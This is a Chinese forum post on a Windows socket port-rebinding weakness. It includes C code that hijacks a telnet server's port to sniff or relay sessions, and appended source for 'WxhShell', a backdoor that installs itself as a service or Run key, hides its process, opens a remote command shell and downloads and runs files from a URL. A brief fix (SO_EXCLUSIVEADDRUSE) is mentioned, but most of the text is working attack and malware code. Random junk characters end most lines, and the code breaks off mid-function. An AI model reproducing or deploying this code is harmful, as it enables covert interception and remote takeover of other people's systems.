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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +?r,Nn  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #[$^M:X.  
/U\k<\1~m  
  saddr.sin_family = AF_INET; s`Z | A  
.!|\Y!]^r  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); XS+2OutVo  
E Dh$UB)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); y&;ytNG&<  
_Q)rI%A2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /dGpac  
QP HibPP:  
  这意味着什么?意味着可以进行如下的攻击: 1.29%O8V_  
WUnz  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e$'|EE.=q+  
|6@s6]%X}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) g i>`  
h`Ld%iN\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 gEr@L  
&c[.&L,w4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  k# -u!G  
*Ae> ,LyE  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _{$eOwB  
r"HQ>Wn  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ZSWKVTi  
pjG/`  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 'Lm\ r+$F  
W}^X;f  
  #include zsM3 [2E*  
  #include D@.+B`bA  
  #include ;W"=s79  
  #include    z)AZ:^!O  
  DWORD WINAPI ClientThread(LPVOID lpParam);   LC8&},iu  
  int main() 4Wsp PHj  
  { 1nGpW$Gx  
  WORD wVersionRequested; k5M3g*  
  DWORD ret; /:S&1'=  
  WSADATA wsaData; 3Lg)237&j  
  BOOL val; 4^*+G]]wZ~  
  SOCKADDR_IN saddr; B Oc2<M/\  
  SOCKADDR_IN scaddr; e'nhP  
  int err; dV/ ^@[  
  SOCKET s; C[X2]zr  
  SOCKET sc; M%{,?a0V  
  int caddsize; U+[ p>iP  
  HANDLE mt; Go;fQ yG  
  DWORD tid;   GN0s`'#"3%  
  wVersionRequested = MAKEWORD( 2, 2 ); 3.0t5F<B  
  err = WSAStartup( wVersionRequested, &wsaData ); pUV4oyGV   
  if ( err != 0 ) { Uw!N;QsC  
  printf("error!WSAStartup failed!\n"); Pi/V3D) B  
  return -1; kH4xP3. i  
  } W=-:<3XL  
  saddr.sin_family = AF_INET; WR :I2-1  
    =&8Cg  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )#%v1rR  
 yxx9h3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |[+/ ]Y  
  saddr.sin_port = htons(23); NC @L,)F  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^uCZO  
  { -d+o\qp"#  
  printf("error!socket failed!\n"); d U}kimz  
  return -1; I9VU,8~  
  } 7cMHzh k^  
  val = TRUE; m7 $t$/g  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 G*N}X3H:o  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ==!k99`f,  
  { h85 kQ^%  
  printf("error!setsockopt failed!\n"); ov$S   
  return -1; wk9qyv<  
  } ]K0G!TR<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; BmhIKXE{*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i:/Ws1=q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 q+ZN$4m  
OyG#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *4 HogC  
  { ~~iFs ,9  
  ret=GetLastError(); a[ Y\5Ojm  
  printf("error!bind failed!\n"); bCfw,V{sce  
  return -1; :iEIo7B  
  } 3'jH,17lWV  
  listen(s,2); E7`Q =4@e  
  while(1) qK-\`m  
  { wg}rMJoG|  
  caddsize = sizeof(scaddr); nBg  tK  
  //接受连接请求 is6M{K3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Sv>bU4LHf  
  if(sc!=INVALID_SOCKET) ~TfN*0  
  { {lO>i&mx  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); g3*J3I-O  
  if(mt==NULL) T*1`MIkv  
  {  k:i}xKu  
  printf("Thread Creat Failed!\n"); =yCz!vc  
  break; \ $Q?  
  } &6O0h0Vy  
  } }}X<e  
  CloseHandle(mt); N@x5h8  
  } W6&mXJ^3L  
  closesocket(s); fN_Ilg)t?5  
  WSACleanup(); ozUsp[W>  
  return 0; (Kg( 6E,  
  }   6|10OTVu`  
  DWORD WINAPI ClientThread(LPVOID lpParam) XCyAt;neon  
  { f+V^q4  
  SOCKET ss = (SOCKET)lpParam; /oC@:7  
  SOCKET sc; P ~rTuj  
  unsigned char buf[4096]; L43]0k  
  SOCKADDR_IN saddr; `)n/J+g  
  long num; p%#=OtkC  
  DWORD val; ZxoAf;U~  
  DWORD ret; AYHefAF<w  
  //如果是隐藏端口应用的话,可以在此处加一些判断 J`'wprSBb  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   OhiY <  
  saddr.sin_family = AF_INET; *wl&Zzx  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #-7m@EU;O  
  saddr.sin_port = htons(23); b{(= C 3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pT<}n 9yB5  
  { Xf%wW[~  
  printf("error!socket failed!\n"); h { M=V  
  return -1; W8N__  
  } s<'WTgy1i  
  val = 100; #McX  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) '9tV-whw  
  { XJ6=Hg4_O  
  ret = GetLastError(); N?l  
  return -1; b~Un=-@5a  
  } qk_YFR?R  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ['_W <  
  {  CT[CM+  
  ret = GetLastError(); JWV n@)s  
  return -1; |0$7{nQ  
  } `7 3I}%?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) JrGY`6##p  
  { hOR1R B  
  printf("error!socket connect failed!\n"); xY@<<  
  closesocket(sc); a"!r]=r  
  closesocket(ss); +z O.|`+  
  return -1; !)HB+yr  
  } a~w l D.P  
  while(1) 0NMmN_Lr  
  { ]EfM;'j[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9/dI 6P7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |*y'H*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 O`TM}  
  num = recv(ss,buf,4096,0); UI_u:a9Q/  
  if(num>0) `2a7y]?  
  send(sc,buf,num,0); f"aqg/l  
  else if(num==0) Jl@YBzDfF  
  break; 8fC 5O  
  num = recv(sc,buf,4096,0); D[Kq`  
  if(num>0) fDrjR6xV  
  send(ss,buf,num,0); 4|/=]w  
  else if(num==0) qK,PuD7i"  
  break; !CUX13/0  
  } h"4i/L3aAh  
  closesocket(ss); W;QU6z>  
  closesocket(sc); @WTzFjv@?4  
  return 0 ; @ayrI]m#>,  
  } 1+9}Xnxb  
5K {{o''  
{(_>A\zi  
========================================================== AI9#\$aGV  
@%gth@8  
下边附上一个代码,,WXhSHELL k[8{N  
<]'1YDA  
========================================================== 7"p%c`*;  
H&=fD` Xq  
#include "stdafx.h" XG8UdR|  
`Oe"s_O#  
#include <stdio.h> j!/=w q  
#include <string.h> arb'.:[z^  
#include <windows.h> gbT1d:T  
#include <winsock2.h> E=RX^ 3+}  
#include <winsvc.h> p{w:^l(  
#include <urlmon.h> ,`U'q|b  
f;]C8/W  
#pragma comment (lib, "Ws2_32.lib") }q=uI`  
#pragma comment (lib, "urlmon.lib") F+285JK  
?7\$zn)v#  
#define MAX_USER   100 // 最大客户端连接数 6a4-VX5  
#define BUF_SOCK   200 // sock buffer hs?cV)hDS  
#define KEY_BUFF   255 // 输入 buffer Vy@0Got5=  
s E0ldN"  
#define REBOOT     0   // 重启 xAu&O\V  
#define SHUTDOWN   1   // 关机 Zz^!QlF  
`+5,=S  
#define DEF_PORT   5000 // 监听端口 7Lx =VX#]q  
f#| wb~  
#define REG_LEN     16   // 注册表键长度 z99jW<*0  
#define SVC_LEN     80   // NT服务名长度 !"s~dL,7  
FSA"U9 w<  
// 从dll定义API ' qN"!\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z lR2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <gjA(xT5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }<mK79m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~s -"u *>  
^8{:RiN6e~  
// wxhshell配置信息 >f-*D25f%  
struct WSCFG { =O'>H](Q  
  int ws_port;         // 监听端口 qExmf%q:q  
  char ws_passstr[REG_LEN]; // 口令 N\W4LO6  
  int ws_autoins;       // 安装标记, 1=yes 0=no m 4V0e~]  
  char ws_regname[REG_LEN]; // 注册表键名 on)$y&lu  
  char ws_svcname[REG_LEN]; // 服务名 BOWR}n!g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `m=u2kxY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'h{| ]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :{M1]0 NH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "Is0:au+?}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S|/Za".Gr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /=~o|-n8@  
#6F/:j;  
}; 9s`j@B0N57  
`xie/  
// default Wxhshell configuration N)o/}@]6  
struct WSCFG wscfg={DEF_PORT, qZ rv2dT  
    "xuhuanlingzhe", .Uh|V -  
    1, /rZ`e'}  
    "Wxhshell", Uq:CM6q\  
    "Wxhshell", b";D*\=x  
            "WxhShell Service", !y-,r4\@`  
    "Wrsky Windows CmdShell Service", :2E?|}`7\  
    "Please Input Your Password: ", /6nj 4.xxc  
  1, t{o&$s93  
  "http://www.wrsky.com/wxhshell.exe", 3B3l)eX  
  "Wxhshell.exe" A v[|G4n  
    }; } DQ KfS  
3FE=?Q  
// 消息定义模块 K4j2xSGeo  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DY?;Z98P?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]}s'`44J9e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YLFM3IaP  
char *msg_ws_ext="\n\rExit."; [FN4_  
char *msg_ws_end="\n\rQuit."; ;ep@ )Y  
char *msg_ws_boot="\n\rReboot..."; wH0Ks5  
char *msg_ws_poff="\n\rShutdown..."; 2qe]1B;  
char *msg_ws_down="\n\rSave to "; a@niig  
uM74X^U  
char *msg_ws_err="\n\rErr!"; z3(:a'  
char *msg_ws_ok="\n\rOK!"; ,R5z`O  
'o% .Q x  
char ExeFile[MAX_PATH]; b,o@ m  
int nUser = 0; JmJNq$2#c  
HANDLE handles[MAX_USER]; o.x<h";  
int OsIsNt; $x|4cW2  
CvB)+>oa  
SERVICE_STATUS       serviceStatus; YCS8qEP&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dXewS_7  
.|x" '3#  
// 函数声明 xe9V'wICp(  
int Install(void); #Oq~ZV|<l  
int Uninstall(void); hH*/[|z  
int DownloadFile(char *sURL, SOCKET wsh); *8#]3M]  
int Boot(int flag); PYJ8\XZ1_N  
void HideProc(void); 5`O af\S  
int GetOsVer(void); v]e6CZwo  
int Wxhshell(SOCKET wsl); n s`njx}C  
void TalkWithClient(void *cs); <OA[u-ph%S  
int CmdShell(SOCKET sock); e'L$g-;>4b  
int StartFromService(void); +RN|ZG&  
int StartWxhshell(LPSTR lpCmdLine); ddG5g  
VMgO1-F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); aOK,Mm:iO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 04P!l  
3Q_L6Wj~  
// 数据结构和表定义 '?j,oRz^T  
SERVICE_TABLE_ENTRY DispatchTable[] = ,G%?}TfC)  
{ -:NFF'  
{wscfg.ws_svcname, NTServiceMain}, |"o/GUI~  
{NULL, NULL} Ld$e  -dB  
}; ?^3Q5ye  
$ITh)#Nj  
// 自我安装 HqKI|^  
int Install(void) {Tl|>\[P  
{ f<}>*xH/k  
  char svExeFile[MAX_PATH]; #Ss lH  
  HKEY key; *h Z{>  
  strcpy(svExeFile,ExeFile); R@Bnrk  
V/CZcMY_  
// 如果是win9x系统,修改注册表设为自启动 SRBQ"X[M2  
if(!OsIsNt) { `8<h aU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Kta7xtu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); siK:?A@4D  
  RegCloseKey(key); fkW TO"f-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @l^BW*BCo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6O# xV:Uc<  
  RegCloseKey(key); qGH\3g-  
  return 0; )7TuV"  
    } \o2cztl=  
  } NAt; r  
} AW< z7B D  
else { /%9CR'%*c  
sV5S>*A[  
// 如果是NT以上系统,安装为系统服务 `(6g87h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HDV$y=oHh  
if (schSCManager!=0) c>pbRUMH  
{ W^Z#_{  
  SC_HANDLE schService = CreateService @A;Ouu(  
  ( Bgy?k K2[  
  schSCManager, ,)](h+zl_6  
  wscfg.ws_svcname, l d@B  
  wscfg.ws_svcdisp, ]5`Y^hS_g  
  SERVICE_ALL_ACCESS, .W1i3Z6g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -/z#?J\  
  SERVICE_AUTO_START, "[M k5tM  
  SERVICE_ERROR_NORMAL, OZed+t=  
  svExeFile, ! :XMP*g  
  NULL, nD/; Gq  
  NULL, (TQhO$,  
  NULL, C#Y_La  
  NULL, u~VvGLFf5,  
  NULL c"x-_Uk  
  ); ];VJ54  
  if (schService!=0) "O j2B|:s&  
  { 6-vQQ-\  
  CloseServiceHandle(schService); B9Y*'hmI  
  CloseServiceHandle(schSCManager); Y9_OkcW)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ji :E  
  strcat(svExeFile,wscfg.ws_svcname); wS%aN@ay3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H% "R _[+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m#kJ((~  
  RegCloseKey(key); [23F0-p  
  return 0; EXD Qr'"  
    } i!+Wv-  
  } 6l|,J`G  
  CloseServiceHandle(schSCManager); ;&8  
} +K"8Q'&t  
} LA%t'n h  
i<uWLhgh1$  
return 1; SB}0u=5  
} rbD}fUg  
+M %zOX/  
// 自我卸载 G" &yE.E5  
int Uninstall(void) %\ef Mhn  
{ ghu8Eg,Y  
  HKEY key; NP_b~e6O=  
_b(y"+k  
if(!OsIsNt) { LtIw{* 3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %A ^qm  
  RegDeleteValue(key,wscfg.ws_regname); e+ckn   
  RegCloseKey(key); pg:1AAhT[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ="=Aac#n`  
  RegDeleteValue(key,wscfg.ws_regname); vx&r  
  RegCloseKey(key); @& vtY._  
  return 0; '4J];Nj0  
  } X \GB:#:X  
} p z]T9ol~  
} +#IsRiH%>  
else { V(A p|I:G  
d|?'yX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k ICZc{} `  
if (schSCManager!=0) u{SJ#3C5  
{ dD{{G :V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]BiLLDz(  
  if (schService!=0) map#4\  
  { ck"lX[d1  
  if(DeleteService(schService)!=0) { WUnmUW[/  
  CloseServiceHandle(schService); f#3U,n8:  
  CloseServiceHandle(schSCManager); aHzS>  
  return 0; R]y[n;aGC  
  } j4hiMI;  
  CloseServiceHandle(schService); ds9L4zfO  
  } /y~ "n4CK~  
  CloseServiceHandle(schSCManager); )QO"1#zg@c  
} 3xU in  
} Mw,7+  
t:?8I9d  
return 1; gfW8s+  
}  {Hp*BE   
h;(#^+LH  
// 从指定url下载文件 M]JD(  
int DownloadFile(char *sURL, SOCKET wsh) zLB7'7oP  
{ X\dPQwasM  
  HRESULT hr; dLq)Z*r  
char seps[]= "/"; l0%qj(4`6&  
char *token; N-g=_86C"  
char *file; F7r!zKXZ  
char myURL[MAX_PATH]; 0s#`H  
char myFILE[MAX_PATH]; P$=BmBq18`  
?%Pd:~4D  
strcpy(myURL,sURL); lNw8eT~2  
  token=strtok(myURL,seps); D:yj#&I  
  while(token!=NULL) 2V*<HlqOif  
  { RIDzNdM>U  
    file=token; }hPFd  
  token=strtok(NULL,seps); $B3<"  
  } |9X$@R  
9]DMHA@  
GetCurrentDirectory(MAX_PATH,myFILE); L-}6}5[  
strcat(myFILE, "\\"); x\r[Zp|  
strcat(myFILE, file); TrBBV]4  
  send(wsh,myFILE,strlen(myFILE),0); H]XY  
send(wsh,"...",3,0); ~)kOO oH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r- :u*  
  if(hr==S_OK) 8LMO2Wyq  
return 0; uIO<6p)  
else }{(dG7G+  
return 1; 1oSrhUTy  
!Xzne_V<  
} JQt Bt2  
tf5h/:  
// 系统电源模块 {M.OOEcIp  
int Boot(int flag) rrSsQq  
{ (<"uV%1  
  HANDLE hToken; o JLpFL  
  TOKEN_PRIVILEGES tkp; {vf"`#Q9  
`~hB-Z5dI  
  if(OsIsNt) { N`JkEd7TT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (pl|RmmDz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^"?fZSC  
    tkp.PrivilegeCount = 1; =y$|2(6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :'pLuN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #9a\Ab  
if(flag==REBOOT) { 'fqX^v5n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *x;&fyR  
  return 0; +@ FM~q  
} ]hPu  
else { Ig sK7wn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^bZ'z  
  return 0; p:GB"e9>H  
} b3Uw"{p  
  } fXV+aZ  
  else { 41S.&-u  
if(flag==REBOOT) { {7%W /C#A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DLWG0$#!  
  return 0; zv^km5by  
} DhVF^=x$  
else { R@+%~"Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^Pq4 n%x  
  return 0; f[AN=M"B"s  
} ;9+[t8Y)D  
} lD%Fk3  
!m* YPY31  
return 1; /:YM{,]  
}  *XlbD  
gtV^6(Y  
// win9x进程隐藏模块 ?51Y&gOEZ  
void HideProc(void) !6R;fD#^s  
{ "zn<\z$l  
.]0u#fz0y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 907N;r  
  if ( hKernel != NULL ) VDyQv^=#  
  { k`5jy~;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "x+o(jOy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1^x "P#u  
    FreeLibrary(hKernel); PLkwtDi+&  
  } S^Lu RF]F  
rW8.bMmM  
return; aw\\oN*  
} LR:v$3 G(  
cIL I%W1  
// 获取操作系统版本 %|tDb  
int GetOsVer(void) _{]\} =@  
{ i; qb\  
  OSVERSIONINFO winfo; 3?do|>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GV+K] KDI  
  GetVersionEx(&winfo); -|"[S"e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) TQ/EH~Sz  
  return 1; JZa^GW:YQh  
  else  rk F>c  
  return 0; y*BS %xTF  
} z^ai *   
b6mSPH@  
// 客户端句柄模块 >o]!-46  
int Wxhshell(SOCKET wsl) R 2{kS  
{ 95wi~^^  
  SOCKET wsh; ji|+E`Nii  
  struct sockaddr_in client; :"vW;$1 }  
  DWORD myID; Cggu#//Z}Q  
Ap :mc:  
  while(nUser<MAX_USER) wb#ZRmx}  
{ e2~$=f-  
  int nSize=sizeof(client); bvxol\7;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @d+NeS  
  if(wsh==INVALID_SOCKET) return 1; ,EE,W0/zzM  
YR 5C`o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EO_:C9=d{  
if(handles[nUser]==0) -KuC31s_W  
  closesocket(wsh); B"@3Qav3  
else %OIJ.  
  nUser++; 7CK3t/3D  
  } ho'Ihep,L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L<}0}y  
^Uj\s /  
  return 0; rT&rv^>f  
} THVF(M4v  
ou{}\^DgQ  
// 关闭 socket \6{w#HsP8  
void CloseIt(SOCKET wsh) :aIS>6  
{ >l0y ss)I  
closesocket(wsh); ;ewqGDe'3  
nUser--; fj7\MTy  
ExitThread(0); sU|\? pJ  
} k%|Sl>{Ir  
!Qqi%  
// 客户端请求句柄 KF%tF4^+|  
void TalkWithClient(void *cs) l\HLlwYO  
{ JNJ96wnX1  
K&\ q6bU  
  SOCKET wsh=(SOCKET)cs; RZ6[+Ygn  
  char pwd[SVC_LEN]; I1a>w=x!+  
  char cmd[KEY_BUFF]; G2 E4  
char chr[1]; \[>Ob  
int i,j; @MoBR.  
j_ \?ampF  
  while (nUser < MAX_USER) { YLx4qE  
N4xC Zb  
if(wscfg.ws_passstr) { RCL}bE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TEzMFu+V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Sb/`a~q ^  
  //ZeroMemory(pwd,KEY_BUFF); k6}M7 &nY  
      i=0; vGX}zzto  
  while(i<SVC_LEN) { &P0jRT3e#Y  
ev{;}2~V  
  // 设置超时 >,9ah"K_x  
  fd_set FdRead; -PG81F&K  
  struct timeval TimeOut; ^D%hKIT  
  FD_ZERO(&FdRead); &tJ!cTA.-  
  FD_SET(wsh,&FdRead); ;!C~_{/t  
  TimeOut.tv_sec=8; *3Vic  
  TimeOut.tv_usec=0; #B^A"?*S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "KiTjl`M,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fHLt{!O  
38 -vt,|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eXYf"hU,  
  pwd=chr[0]; TdCC,/c 3  
  if(chr[0]==0xd || chr[0]==0xa) { B1U<m=Y  
  pwd=0; sU=7)*$  
  break; ZHN@&Gg6)  
  } %3:[0o={d  
  i++; Fcz}Gs4  
    } 'bb *$T0=  
Xa xM$  
  // 如果是非法用户,关闭 socket 4pJ #fkc^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Bn<1zg5  
} "8-;Dq'+  
9K6G%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @~+W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QyEGK  
{tDH !sX  
while(1) { \Qgc7ev  
;k=&ZV  
  ZeroMemory(cmd,KEY_BUFF); c{,VU.5/  
Jqp;8DV}  
      // 自动支持客户端 telnet标准   v] ?zG&Jh  
  j=0; "G[yV>pxv  
  while(j<KEY_BUFF) { [Nw%fuB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wyi%!H  
  cmd[j]=chr[0]; E5+-N  
  if(chr[0]==0xa || chr[0]==0xd) { j(>~:9I`  
  cmd[j]=0; _no;B_m~  
  break; +@"Ls P  
  } e*!0|#-  
  j++; 0^m`jD  
    } H5)8TR3La  
(oxMBd+n1  
  // 下载文件 0zHMtC1 ,  
  if(strstr(cmd,"http://")) { |lG7/\A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \+T U{vr  
  if(DownloadFile(cmd,wsh)) _pN:p7l(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *I6W6y;E=  
  else s$wIL//=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $[xS>iuD  
  } r1A<XP|1?I  
  else { 49Q tfk  
q(9S4F   
    switch(cmd[0]) { +td]g9Ie  
  9{cpxJ  
  // 帮助 xW. ~Jt  
  case '?': { {u (( y D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i!i=6m.q7  
    break; \5pBK  
  } TZ+- >CG  
  // 安装 =H_vRd  
  case 'i': { >At* jg48  
    if(Install()) @d1YN]ede  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Jh!YzI8  
    else l8~s#:v6X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %E k!3t  
    break; Ef]<0Tm]:  
    } (Zz8 ldO  
  // 卸载 dQQ!QbI(.  
  case 'r': { 6BdK)s  
    if(Uninstall()) ) -^(Su(!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @j`gx M_-O  
    else ?e#bq]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xiy=D5N.=  
    break; &~KAZ}xu  
    } Z4s+8cTHn  
  // 显示 wxhshell 所在路径 35KRJY#  
  case 'p': { :lBw0{fP  
    char svExeFile[MAX_PATH]; )C>8B`^S  
    strcpy(svExeFile,"\n\r"); #;])/8R%  
      strcat(svExeFile,ExeFile); NyR,@n1  
        send(wsh,svExeFile,strlen(svExeFile),0); H{et2J<H  
    break; WS6;ad;|  
    } BS|$-i5L  
  // 重启 HD YWDp  
  case 'b': { $z[@DB[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^5n#hSqZ=M  
    if(Boot(REBOOT)) PSHzB! H=n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <f9a%`d  
    else { [C`LKA$t  
    closesocket(wsh); <]f{X<ef  
    ExitThread(0); cw/E?0MWb  
    } +'0V6 \y  
    break; ;wa#m1  
    } VD~ %6AjyN  
  // 关机 "8iIOeY-\  
  case 'd': { P}=U #AV4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ' >k1h.i  
